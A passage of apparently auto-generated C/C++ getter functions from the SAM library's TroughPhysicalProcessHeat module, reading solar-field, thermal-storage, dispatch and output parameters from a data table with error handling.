SAM_TroughPhysicalProcessHeat_SolarField_sf_hdr_diams_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "sf_hdr_diams", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "sf_hdr_diams"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_sf_hdr_lengths_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "sf_hdr_lengths", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "sf_hdr_lengths"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_sf_hdr_wallthicks_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "sf_hdr_wallthicks", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "sf_hdr_wallthicks"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_sf_rnr_diams_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "sf_rnr_diams", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "sf_rnr_diams"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_sf_rnr_lengths_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "sf_rnr_lengths", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "sf_rnr_lengths"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_sf_rnr_wallthicks_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "sf_rnr_wallthicks", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "sf_rnr_wallthicks"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_theta_dep_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "theta_dep", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "theta_dep"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_theta_stow_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "theta_stow", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "theta_stow"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_washing_frequency_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "washing_frequency", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "washing_frequency"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_water_usage_per_wash_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "water_usage_per_wash", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "water_usage_per_wash"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_wind_stow_speed_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "wind_stow_speed", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "wind_stow_speed"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Controller_disp_wlim_maxspec_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_wlim_maxspec", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_wlim_maxspec"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Controller_field_fl_props_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "field_fl_props", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "field_fl_props"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Controller_non_solar_field_land_area_multiplier_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "non_solar_field_land_area_multiplier", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "non_solar_field_land_area_multiplier"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Controller_pb_pump_coef_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "pb_pump_coef", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "pb_pump_coef"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Controller_q_pb_design_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "q_pb_design", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "q_pb_design"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Controller_specified_solar_multiple_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "specified_solar_multiple", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "specified_solar_multiple"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Controller_tanks_in_parallel_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "tanks_in_parallel", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "tanks_in_parallel"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Controller_trough_loop_control_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "trough_loop_control", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "trough_loop_control"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SystemDesign_tshours_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "tshours", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "tshours"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES_cold_tank_Thtr_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "cold_tank_Thtr", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "cold_tank_Thtr"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES_cold_tank_max_heat_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "cold_tank_max_heat", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "cold_tank_max_heat"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES_h_tank_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "h_tank", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "h_tank"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES_init_hot_htf_percent_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "init_hot_htf_percent", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "init_hot_htf_percent"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES_tank_pairs_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "tank_pairs", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "tank_pairs"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES_u_tank_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "u_tank", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "u_tank"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES2tank_h_tank_min_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "h_tank_min", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "h_tank_min"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES2tank_hot_tank_Thtr_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "hot_tank_Thtr", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "hot_tank_Thtr"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_TES2tank_hot_tank_max_heat_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "hot_tank_max_heat", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "hot_tank_max_heat"); }); return result; } SAM_EXPORT const char* SAM_TroughPhysicalProcessHeat_Tou_ampl_data_dir_sget(SAM_table ptr, SAM_error *err){ const char* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_string(ptr, "ampl_data_dir"); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "ampl_data_dir"); }); return result; } SAM_EXPORT const char* SAM_TroughPhysicalProcessHeat_Tou_ampl_exec_call_sget(SAM_table ptr, SAM_error *err){ const char* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_string(ptr, "ampl_exec_call"); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "ampl_exec_call"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_csu_cost_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_csu_cost", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_csu_cost"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_frequency_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_frequency", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_frequency"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_horizon_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_horizon", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_horizon"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_max_iter_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_max_iter", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_max_iter"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_mip_gap_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_mip_gap", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_mip_gap"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_pen_delta_w_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_pen_delta_w", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_pen_delta_w"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_reporting_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_reporting", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_reporting"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_rsu_cost_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_rsu_cost", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_rsu_cost"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_spec_bb_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_spec_bb", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_spec_bb"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_spec_presolve_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_spec_presolve", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_spec_presolve"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_spec_scaling_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_spec_scaling", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_spec_scaling"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_steps_per_hour_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_steps_per_hour", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_steps_per_hour"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_time_weighting_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_time_weighting", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_time_weighting"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_disp_timeout_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_timeout", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_timeout"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor1_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor1", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor1"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor2_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor2", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor2"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor3_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor3", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor3"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor4_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor4", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor4"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor5_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor5", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor5"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor6_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor6", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor6"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor7_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor7", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor7"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor8_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor8", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor8"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor9_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "dispatch_factor9", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factor9"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_dispatch_factors_ts_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "dispatch_factors_ts", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_factors_ts"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_dispatch_sched_weekday_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "dispatch_sched_weekday", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_sched_weekday"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_dispatch_sched_weekend_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "dispatch_sched_weekend", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_sched_weekend"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_dispatch_series_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "dispatch_series", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "dispatch_series"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_f_turb_tou_periods_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "f_turb_tou_periods", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "f_turb_tou_periods"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_is_ampl_engine_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_ampl_engine", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_ampl_engine"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_is_dispatch_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_dispatch", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_dispatch"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_is_dispatch_series_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_dispatch_series", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_dispatch_series"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_is_tod_pc_target_also_pc_max_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_tod_pc_target_also_pc_max", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_tod_pc_target_also_pc_max"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_is_wlim_series_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_wlim_series", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_wlim_series"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_is_write_ampl_dat_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_write_ampl_dat", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_write_ampl_dat"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_ppa_multiplier_model_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "ppa_multiplier_model", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "ppa_multiplier_model"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_q_rec_heattrace_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "q_rec_heattrace", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "q_rec_heattrace"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Tou_q_rec_standby_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "q_rec_standby", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "q_rec_standby"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_timestep_load_fractions_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "timestep_load_fractions", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "timestep_load_fractions"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_weekday_schedule_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "weekday_schedule", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "weekday_schedule"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_weekend_schedule_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "weekend_schedule", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "weekend_schedule"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Tou_wlim_series_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "wlim_series", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "wlim_series"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SystemControl_disp_inventory_incentive_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "disp_inventory_incentive", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "disp_inventory_incentive"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_System_aux_array_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "aux_array", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "aux_array"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_System_bop_array_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "bop_array", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "bop_array"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_System_pb_fixed_par_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "pb_fixed_par", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "pb_fixed_par"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Powerblock_L_rnr_pb_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "L_rnr_pb", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "L_rnr_pb"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_CosTh_ave_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "CosTh_ave", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "CosTh_ave"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_EndLoss_ave_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "EndLoss_ave", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "EndLoss_ave"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_EqOpteff_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "EqOpteff", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "EqOpteff"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_IAM_ave_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "IAM_ave", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "IAM_ave"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_RowShadow_ave_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "RowShadow_ave", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "RowShadow_ave"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_SCAs_def_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "SCAs_def", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "SCAs_def"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_field_cold_in_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_field_cold_in", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_field_cold_in"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_field_hot_out_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_field_hot_out", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_field_hot_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_heat_sink_in_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_heat_sink_in", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_heat_sink_in"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_heat_sink_out_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_heat_sink_out", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_heat_sink_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_rec_cold_in_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_rec_cold_in", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_rec_cold_in"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_rec_hot_out_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_rec_hot_out", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_rec_hot_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_tes_cold_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_tes_cold", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_tes_cold"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_T_tes_hot_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "T_tes_hot", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "T_tes_hot"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_Theta_ave_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "Theta_ave", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Theta_ave"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_W_dot_field_pump_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "W_dot_field_pump", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "W_dot_field_pump"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_Outputs_W_dot_parasitic_tot_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; 